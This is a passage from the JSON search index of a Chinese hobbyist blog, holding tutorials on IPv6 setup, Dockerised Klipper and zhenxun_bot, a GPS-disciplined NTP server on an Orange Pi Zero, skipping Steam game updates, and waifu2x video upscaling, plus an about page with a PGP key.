/etc/systemd/network/default.network1234567891011[Match]Name=eth0[Network]DHCP=yesIPv6AcceptRA=yesIPv6PrivacyExtensions=no[IPv6AcceptRA]Token=::dead:beef:114:514# token部分解释同上 WindowsUpdate: Window在这里纯属特例,它既没有RFC 7217支持,也没有token支持(至少Window 10 21H2完全没有)所以这里被迫使用eui64,同时为了隐私保护更改掉原始的MAC地址 以管理员启动Powershell: Powershell123456Set-NetIPv6Protocol -RandomizeIdentifiers Disabled# 关闭随机地址生成# 这一项设置为Enabled时Windows使用eui64Set-NetIPv6Protocol -UseTemporaryAddresses Disabled# 禁止Windows使用隐私地址(RFC 4941) 解释部分这样配置下来以后,每个设备理论上能获得两组IPV6地址,一个SLAAC来的,一个DHCP V6分的,中国电信每过几天就会把拨号断开重连导致PD前缀变化,由于SLAAC得到的地址会很快的更新,在所有系统上也都会很快的恢复连接。DHCP V6就不一定了,我将租期设置为了12小时,类Debian系统每过12小时都会重新向DHCP服务器要地址,这很好。但是Windows不会,无论我怎么更改设置,Windows总能给我整出来一个三天租期的花活,然后因为前缀变化,原来的地址失效无法访问了,Windows就会自己整出来一个新的隐私地址用进而导致防火墙规则失效。当然,本文中介绍的方法不是RFC 7217,需要RFC 7217请查看参考资料,反正我是感觉7217出来的地址太长还不好看。 参考资料https://wiki.archlinuxcn.org/wiki/Systemd-networkd https://wiki.archlinuxcn.org/wiki/IPv6#%E7%A8%B3%E5%AE%9A%E7%9A%84%E9%9A%90%E7%A7%81%E5%9C%B0%E5%9D%80 https://wiki.debian.org/SystemdNetworkd","link":"/ipv6-in-2024.html"},{"title":"在Docker中运行Klipper","text":"安装Portainerhttps://docs.portainer.io/v/ce-2.11/start/install 123456docker volume create portainer_datadocker run -d -p 9443:9443 --name portainer \\--restart=always \\-v /var/run/docker.sock:/var/run/docker.sock \\-v portainer_data:/data \\portainer/portainer-ce:lts 建立Stacks(docker-compose)https://github.com/dimalo/klipper-web-control-docker 打开Stacks,Add stack 粘贴以下代码 12345678910111213141516171819202122232425262728293031version: '3.4'services: klipper: image: dimalo/klipper-moonraker container_name: klipper ports: - 7125:7125 restart: unless-stopped volumes: - gcode_files:/home/klippy/gcode_files - klipper_data:/home/klippy/.config - moonraker_data:/home/klippy/.moonraker devices: - /dev/serial/by-id/usb-1a86_USB_Serial-if00-port0:/dev/ttyUSB0 #根据实际情况更改 fluidd: image: dimalo/fluidd restart: unless-stopped container_name: fluidd ports: - 8010:80 depends_on: - klipper links: - klipper:klippervolumes: gcode_files: moonraker_data: klipper_data: 访问 http://{IP}:8010 即可看到fluidd 常见问题1.fluidd显示无法连接... 该镜像自带了启动时检查更新,查看Container klipper 的日志可以看到启动卡在了git pull上,等一段时间或者自行解决。 2.无法在网页重启klipper 应直接重启对应Container 3.上传文件名可以为中文,但是打印时必须换成英文","link":"/klipper-docker.html"},{"title":"用 Orange Pi Zero 搭建一台 Stratum 1 的 NTP 服务器","text":"前言首先:这个东西有什么用?答:没有任何用处,但是能让你内网的设备时间精度达到亚毫秒级 当然,不要以这个网页为参考,实际误差要远远低于显示: 实际应该是几个微秒的误差。 材料准备 Orange Pi Zero LTS 一个 也就是初代的Orange Pi Zero,理论上Zero2、3也可以,但是需要根据实际接线情况修改配置 ATGM336H GPS模块 一个 可替换,只要带PPS输出的就行,我选这个型号是因为他是ipex接口可以外接天线 2.1 GPS天线(3.3v供电) 一个 2.2 SMA转IPEX射频转接线 一条 DS3231 实时时钟模块 一个 DS3231M也可以,这里只是用作掉电后的时间备份,精度不太重要 2*13双排26P 2.54杜邦插头双排端子线 一个 用于优雅的连接到Orange Pi的26P GPIO接口 其他电子配件不再赘述 硬件配置GPS模块使用USB-TTL板将模块连接到电脑,使用对应的工具将GPS模块的串口波特率调整到115200(模块一般默认为9600,过低,时间报文传输时间太长,会导致延迟过高)我使用的ATGM336H模块可以用GnssToolKit3进行配置其他模块可以参考手册进行配置 DS3231模块如果你使用的是同款模块(大概率),使用烙铁拆焊掉这里的电阻以防止VCC倒灌进入电池 接线图 系统配置参考:https://github.com/moonbuggy/Orange-Pi-Zero-GPS-NTP下载对应的armbian系统并将系统安装到TF卡系统初始化完成后,使用armbian-config工具,进入System => Hardware启用i2c0, pps-gpio, uart2运行命令 1sudo sh -c "echo 'param_pps_pin=PA3' >> /boot/armbianEnv.txt" 指定PA3为PPS输入 更新:使用Orange Pi Zero3时,armbian可能没有带pps的dts,可以手动创建一个,和ds3231的dts一样安装: 123456789101112131415161718192021222324252627282930/dts-v1/;/plugin/;/ { compatible = "allwinner,sun50i-h616"; fragment@0 { target = <&pio>; __overlay__ { pps_pins: pps_pins { pins = "PC11"; function = "pps"; }; }; }; fragment@1 { target-path = "/"; __overlay__ { pps@0 { compatible = "pps-gpio"; pinctrl-names = "default"; pinctrl-0 = <&pps_pins>; gpios = <&pio 2 11 0>; /* PC11 */ status = "okay"; }; }; };}; 新建文件ds3231.dts: 123456789101112131415161718192021222324252627/dts-v1/;/plugin/;/ { compatible = "xunlong,orangepi-zero", "allwinner,sun8i-h2-plus"; fragment@0 { target-path = "/aliases"; __overlay__ { rtc0 = "/soc/i2c@1c2b400/ds3231"; }; }; fragment@1 { target-path = "/soc/i2c@1c2b400"; __overlay__ { ds3231: rtc@68 { compatible = "maxim,ds3231"; reg = <0x68>; #clock-cells = <1>; }; }; };}; 运行命令 1sudo armbian-add-overlay ds3231.dts 启用DS3231的DTS 软件配置配置gpsd安装 1sudo apt install gpsd gpsd-tools pps-tools i2c-tools 修改配置文件/etc/default/gpsd: 123456789101112# Devices gpsd should connect to at boot time.# They need to be read/writeable, either by user gpsd or the group dialout.DEVICES="/dev/ttyS2 /dev/pps0"# Other options you want to pass to gpsdGPSD_OPTIONS="-n -s 115200"# Automatically hot add/remove USB GPS devices via gpsdctlUSBAUTO="true"/bin/stty -F /dev/ttyS2 115200/bin/setserial /dev/ttyS2 low_latency 运行命令启动gpsd服务: 123sudo systemctl daemon-reloadsudo systemctl enable gpsdsudo systemctl start gpsd 运行gpsmon查看是否有输出,如配置正确应该可以看到NMEA报文,位置,卫星数等信息手动调整天线的位置、角度,尽量靠窗,让可见卫星数尽可能的多,使定位误差尽可能的小 配置chrony安装: 1sudo apt install chrony 创建配置文件/etc/chrony/conf.d/gpsd.conf: 12refclock SHM 0 precision 1e-1 offset 0.0 delay 0.2 refid NMEA noselectrefclock PPS /dev/pps0 lock NMEA refid PPS maxlockage 32 prefer 修改配置文件/etc/default/chrony 123456# This is a configuration file for /etc/init.d/chrony and# /lib/systemd/system/chrony.service; it allows you to pass various options to# the chrony daemon without editing the init script or service file.# Options to pass to chrony.DAEMON_OPTS="-F 1 -r -m -s" 配置DS3231: 1234567891011# E̅O̅S̅C̅i2cset -y 0 0x68 0x0e 0x1c# OSFi2cset -y 0 0x68 0x0f 0x08# 设置时间sudo hwclock -w -f /dev/rtc# 读取时间sudo hwclock -r -f /dev/rtc 杂项与微调配置上游NTP server使用就近的NTP server将配置文件/etc/chrony/chrony.conf中原来的pool/server部分修改如下: 1234server 0.cn.pool.ntp.org iburstserver 1.cn.pool.ntp.org iburstserver 2.cn.pool.ntp.org iburstserver 3.cn.pool.ntp.org iburst offset整定前文在配置文件/etc/chrony/conf.d/gpsd.conf中,暂时将offset设置为了0.0,在chrony服务正常运行半小时后,运行命令: 1chronyc sourcestats 查看NMEA项的Offset部分: 12345Name/IP Address NP NR Span Frequency Freq Skew Offset Std Dev==============================================================================NMEA 7 3 95 -134.817 741.206 +4490us 9095usPPS 39 26 608 -0.000 0.008 -1ns 2553ns...... 将Offset的数值转化为秒,填入配置文件中,重启chrony我的数值已经整定过了,所以只有几毫秒,未整定情况下一般会在±0.2秒。offset值不应超过±0.45秒。 开启chrony的服务器模式在配置文件/etc/chrony/chrony.conf末尾,加一行: 1allow 现在chrony已经可以被局域网内的设备访问到了,将服务器地址设为chrony的IP后同步时间,然后就可以截图去炫耀了。","link":"/orangepi-zero-ntp.html"},{"title":"如何优雅的跳过/禁止Steam更新你的游戏","text":"买了个Beatsaber, 每次Steam更新游戏都会让自己装的插件失效,而不更新又没法启动游戏…… 1.关闭自动更新这个应该不用说了,防止被Steam抢先更掉。 在Steam中 游戏 -》 右键属性 -》 更新 -》 自动更新 -》 只在我启动时更新此游戏 2.找到游戏对应的acf文件在Steam商店找到你的游戏,复制URL/app/后的一串数字,这是游戏的appid。 直接用文件管理器搜索appid,找到扩展名为acf的文件,以我要修改的Beatsaber为例: 然后用你喜欢的文本编辑器打开acf文件 3.在Steamdb找数据打开 Steamdb ,把appid粘贴进去。 打开History标签 找到timeupdated buildid maxsize manifests,并记下绿色高亮的数值。 4.修改acf文件修改前要先完全关闭steam 将StateFlags改为4,然后将上面复制的值一一对应覆盖原来的值。 timeupdated -> LastUpdated buildid -> buildid manifests -> manifest maxsize -> size 保存后再启动steam,完成","link":"/skip-steam-update.html"},{"title":"waifu2x的实践[视频处理(UPSCALE)]","text":"注:此教程取自作者的GitHub页面,仅为效果展示,实际压制时请使用VS滤镜“waifu2x-caffe或opt等”。 什么是waifu2x:作者的DEMO主页上对它的介绍是这样的 本程序使用卷积神经网络对动漫风格的图片进行放大操作。 这个名字来源于海外的动画粉丝们将喜欢的角色称作”waifu(我老婆)” [=_=]……演示: 作者的DEMO页面:http://waifu2x.udp.jp/你可以上传一张图片,然后选择降噪或放大进行体验。 准备由于在线版的一次只能处理一张图片,根本无法进行视频处理,所以我们需要使用本地编译版的。思路:我们使用ffmpeg把视频帧拆成png,声音分离出来,png用waifu2x处理后再封装回去。你需要准备这些软件: 12waifu2x-caffe https://github.com/lltcggie/waifu2x-caffe/releasesffmpeg https://ffmpeg.org/download.html waifu2x的实践下载ffmpeg,解压ffmpeg.exe到C:\\Windows\\System32文件夹,然后开启一个命令行窗口,输入ffmpeg回车,检查ffmpeg运行是否正常。 正常运行的ffmpeg下载waifu2x-caffe后解压,双击waifu2x-caffe.exe 正常运行的waifu2x-caffe回到命令行,执行以下命令: 12ffmpeg -i 输入视频文件名 -ss 开始时间 -t 持续时间 -r 输出帧数 -f image2 frames/%06d.pngffmpeg -i 输入视频文件名 -ss 开始时间 -t 持续时间 输出.mp3 ffmpeg用法:http://blog.csdn.net/hemingwang0902/article/details/4382429 命令需根据实际情况修改 12ffmpeg -i test.mp4 -ss 01:50 -t 00:01 -r 24 -f image2 frames/%06d.pngffmpeg -i test.mp4 -ss 01:50 -t 00:01 audio.mp3 回到waifu2x-caffe,选择png所在文件夹,设置如图设置如果你使用的是N卡,将右上角改为CUDA会快很多。 这一步需要很长时间,笔者的E-350 CPU笔记本处理一张png的时间是1:39,所以暂时只实验1S。 [=_=|||] 处理前:处理后:(不要问我用的啥片源,手里实在没有别的了。。。。)再封装命令 12ffmpeg -f image2 -framerate 输入帧数 -i frames/%d.png -i audio.mp3 -r 帧数 -vcodec libx264 -crf 16 video.mp4ffmpeg -f image2 -framerate 24 -i frames/%d.png -i audio.mp3 -r 24 -vcodec libx264 -crf 16 video.mp4 最终效果:","link":"/waifu2x.html"},{"title":"使用 Docker 部署 zhenxun_bot(绪山真寻Bot)","text":"指路 使用Portainer建立Stacks打开Stacks,Add stack 粘贴以下代码 123456789101112131415161718192021222324252627282930313233343536373839404142434445version: '3.4'services: go-cqhttp: image: silicer/go-cqhttp:latest container_name: zxbot_go-cqhttp restart: unless-stopped volumes: - go-cqhttp_data:/data - bot_data:/bot links: - bot:bot #配置为ws reverse,地址 ws://bot:8080/onebot/v11/ws postgres: image: postgres:14 container_name: zxbot_postgres restart: unless-stopped environment: - POSTGRES_USER=zxbot - POSTGRES_PASSWORD=zxbot - POSTGRES_DB=zxbot_database volumes: - postgres_data:/var/lib/postgresql/data bot: #需要将 .env.dev 中的监听地址改为0.0.0.0 image: ghcr.io/d9lab/zhenxun_bot:latest #ghcr.io #image: d9lab01/zhenxun_bot #DockerHub container_name: zxbot_zhenxun_bot depends_on: - postgres restart: unless-stopped environment: - SU=114514 #管理员QQ - DB=postgres://zxbot:zxbot@postgres:5432/zxbot_database volumes: - bot_data:/bot links: - postgres:postgresvolumes: bot_data: go-cqhttp_data: postgres_data: 镜像有问题了开issue,看见了就回。","link":"/zx_bot_Docker.html"},{"title":"ABOUT","text":"Hi~,这里是Disappear9的个人博客,这里主要会发布一些安全相关和ACGN相关的博文(也会有一些其他什么的)。 联系我博主的E-MAIL disappear9@outlook.com以下是博主的PGP公匙: 1234567891011121314151617181920212223-----BEGIN PGP PUBLIC KEY BLOCK-----mDMEZauEdBYJKwYBBAHaRw8BAQdA6+fpkKCQrhZUKHkEr21h6OkCXavoFGEypPWGlTaUV860I0Rpc2FwcGVhcjkgPGRpc2FwcGVhcjlAb3V0bG9vay5jb20+iJkEExYKAEECGwEFCwkIBwICIgIGFQoJCAsCBBYCAwECHgcCF4AWIQR7Wad932fk8NuzlgdYTa6AGIP8OgUCZauFqgUJCzE0zwAKCRBYTa6AGIP8OosVAQDBlys6N0h+y7d47LFcZD/ystTmSSnDea36GUdTXq37nAEAwG4jDOJI9lqrHPurX4/f2gMCfZOW/PVnVHBSG6NY7QC4OARlq4VrEgorBgEEAZdVAQUBAQdAxh3ScH7JMa02EVvOyuCuyZG24xNkd7WomSXQ5eyrzXADAQgHiH4EGBYKACYCGwwWIQR7Wad932fk8NuzlgdYTa6AGIP8OgUCZauFqgUJCzEz2AAKCRBYTa6AGIP8OgVSAQDye2uyWjm/ce00Yir87hYGEwMXir36AlQtCeKrBVc3FwD/cW2ojK7CZu8hygv1MlDCu04MDocQhGVixXygIsLDQwC4MwRlq4VvFgkrBgEEAdpHDwEBB0Ax/gGbUAumJ7ikuNGbR7NWosddFZDY9eSq9ZcWjVIiooh+BBgWCgAmAhsgFiEEe1mnfd9n5PDbs5YHWE2ugBiD/DoFAmWrhasFCQsxM9QACgkQWE2ugBiD/DqqlAEAiFSQuY+a067gxvmQXWDZQp0FZNBeSfqC6sJDTNx/UrwA/34Trcm/4Vg4oXHbLhA22YfRqnV5twwYEPUx3Qa2034NuDMEZauFdhYJKwYBBAHaRw8BAQdA8H+v8/Rv9zXsgWSC1O4OGxvEfXX/2JZEaFlYScJ+gkCI9QQYFgoAJgIbAhYhBHtZp33fZ+Tw27OWB1hNroAYg/w6BQJlq4WrBQkLMTPNAIF2IAQZFgoAHRYhBHJkrgCLj4Cn1kEYJ4VJ5NBI+QKFBQJlq4V2AAoJEIVJ5NBI+QKFdEkA/i1qywP5PtntQtBVyd6PrZ7uV+Q5+rHq81peilbnrW3vAQDIQGrrereyas5pYNFly/yWyy740uYZG26cdWLGLFzDBgkQWE2ugBiD/DrQZwEAw2NRx+Ovm2nFCWCTnzWaUIoGDrbCe9X0mAJ4XLV8fIwA/iQTNN+/NS4lXF611bfCn3JehlJaJQUPnVZ728SpmFMO=mtj/-----END PGP PUBLIC KEY BLOCK----- 很惭愧只做了一点微小的工作谢谢大家","link":"/about/index.html"}],"tags":[{"name":"网络安全","slug":"网络安全","link":"/tags/%E7%BD%91%E7%BB%9C%E5%AE%89%E5%85%A8/"},{"name":"教程","slug":"教程","link":"/tags/%E6%95%99%E7%A8%8B/"},{"name":"工具","slug":"工具","link":"/tags/%E5%B7%A5%E5%85%B7/"},{"name":"杂项","slug":"杂项","link":"/tags/%E6%9D%82%E9%A1%B9/"},{"name":"折腾那些事","slug":"折腾那些事","link":"/tags/%E6%8A%98%E8%85%BE%E9%82%A3%E4%BA%9B%E4%BA%8B/"},{"name":"测试结果","slug":"测试结果","link":"/tags/%E6%B5%8B%E8%AF%95%E7%BB%93%E6%9E%9C/"},{"name":"压制","slug":"压制","link":"/tags/%E5%8E%8B%E5%88%B6/"},{"name":"番剧","slug":"番剧","link":"/tags/%E7%95%AA%E5%89%A7/"}],"categories":[{"name":"网络安全","slug":"网络安全","link":"/categories/%E7%BD%91%E7%BB%9C%E5%AE%89%E5%85%A8/"},{"name":"杂项","slug":"杂项","link":"/categories/%E6%9D%82%E9%A1%B9/"},{"name":"教程","slug":"教程","link":"/categories/%E6%95%99%E7%A8%8B/"},{"name":"折腾那些事","slug":"折腾那些事","link":"/categories/%E6%8A%98%E8%85%BE%E9%82%A3%E4%BA%9B%E4%BA%8B/"},{"name":"测试结果","slug":"测试结果","link":"/categories/%E6%B5%8B%E8%AF%95%E7%BB%93%E6%9E%9C/"},{"name":"工具","slug":"工具","link":"/categories/%E5%B7%A5%E5%85%B7/"}],"pages":[]}